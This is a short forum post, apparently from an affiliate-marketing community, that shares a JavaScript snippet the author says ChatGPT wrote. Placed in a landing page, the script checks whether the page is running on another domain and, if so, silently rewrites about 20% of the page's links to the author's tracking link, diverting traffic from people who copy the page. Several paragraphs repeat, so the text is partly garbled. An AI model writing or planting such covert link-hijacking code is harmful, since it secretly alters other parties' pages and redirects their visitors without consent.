- Joined
- Apr 17, 2018
- Messages
- 18,605
Do you consistently see others running your landing pages on Anstrex or AdPlexity? Tired of others stealing your LPs but not benefiting from it? Well, there is a way to steal back some of that traffic...
By placing simple JavaScript on your landing page (like you would for normal landing page scripts), you can steal back a percentage of the traffic that someone else is paying to send toyour their landing page.
This is assuming of course that they do not remove your JavaScript and there are ways to improve your odds at that as well. But first, here's the simple JavaScript that ChatGPT created for me to do this:
Now, this is very basic and could be improved upon, but for the purposes of this guide I think it will be fine.
First, it checks the domain of the site the JavaScript is being loaded on (currentDomain). Then, it compares that to your landing page domain (targetDomain).
By placing simple JavaScript on your landing page (like you would for normal landing page scripts), you can steal back a percentage of the traffic that someone else is paying to send to
This is assuming of course that they do not remove your JavaScript and there are ways to improve your odds at that as well. But first, here's the simple JavaScript that ChatGPT created for me to do this:
JavaScript:
(function() {
const currentDomain = window.location.hostname;
const targetDomain = "afflift.com";
const yourLink = "https://yourtrackinglink.com";
const probability = 0.20;
if (currentDomain !== targetDomain) {
document.addEventListener("DOMContentLoaded", function() {
const links = document.querySelectorAll('a');
links.forEach(link => {
const randomNum = Math.random();
if (randomNum < probability) {
link.href = yourLink;
}
});
});
}
})();
Now, this is very basic and could be improved upon, but for the purposes of this guide I think it will be fine.
First, it checks the domain of the site the JavaScript is being loaded on (currentDomain). Then, it compares that to your landing page domain (targetDomain).